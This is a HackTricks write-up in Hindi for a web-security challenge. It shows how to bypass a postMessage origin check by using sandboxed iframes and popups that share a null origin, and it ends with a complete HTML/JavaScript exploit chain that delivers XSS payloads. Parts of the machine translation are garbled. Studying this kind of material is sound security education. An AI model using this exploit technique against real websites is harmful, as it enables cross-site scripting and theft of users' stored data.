hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

9.6 KiB

Iframes के साथ SOP को बाइपास करना - 1

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

SOP-1 में Iframes

इस चुनौती के द्वारा बनाई गई है जिसे NDevTK और Terjanq ने बनाया है, आपको कोड में XSS का शोध करने की आवश्यकता होगी।

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}

मुख्य समस्या यह है कि मुख्य पृष्ठ data.body को भेजने के लिए DomPurify का उपयोग करता है, इसलिए उस कोड को अपने खुद के html डेटा को भेजने के लिए आपको e.origin !== window.origin को बाईपास करना होगा।

चलिए देखते हैं वे कौन सी समाधान सुझाते हैं।

SOP बाईपास 1 (e.origin === null)

जब //example.org को एक sandboxed iframe में एम्बेड किया जाता है, तो पृष्ठ का मूल null होगा, अर्थात window.origin === null होगा। इसलिए, <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> के माध्यम से iframe को एम्बेड करके हम null मूल को बाध्य कर सकते हैं।

यदि पृष्ठ एम्बेड किया जा सकता था तो आप उस सुरक्षा को इस तरीके से बाईपास कर सकते थे (कुकीज़ को SameSite=None पर सेट करने की भी आवश्यकता हो सकती है)।

SOP बाईपास 2 (window.origin === null)

कम जाने जाने वाला तथ्य यह है कि जब sandbox मान allow-popups सेट होता है तो खोले गए पॉपअप को सभी सैंडबॉक्स विशेषताएं अनुरोधित करेंगी जब तक allow-popups-to-escape-sandbox सेट न हो।
इसलिए, एक null मूल से पॉपअप खोलने से पॉपअप के अंदर का window.origin भी null हो जाएगा।

चुनौती का समाधान

इसलिए, इस चुनौती के लिए, कोई भी एक iframe बना सकता है, पॉपअप खोल सकता है जो विकल्पी XSS कोड हैंडलर (/iframe.php) के पृष्ठ पर, window.origin === e.origin क्योंकि दोनों null हैं, इसलिए XSS को उपयोग करने वाला एक payload भेजना संभव है।

वह payload उपयोगकर्ता को पहचानकर्ता प्राप्त करेगा और एक XSS को शीर्ष पृष्ठ (पॉपअप खोलने वाला पृष्ठ) को वापस भेजेगा, जो विकल्पी /iframe.php में स्थान बदलेगा। पहचानकर्ता जाना जाता है, इसलिए यह मायने नहीं रखता है कि शर्त window.origin === e.origin पूरी नहीं होती है (याद रखें, मूल है iframe का पॉपअप जिसका मूल null है) क्योंकि data.identifier === identifier होता है। फिर, XSS फिर से ट्रिगर होगा, इस बार सही मूल में।

<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥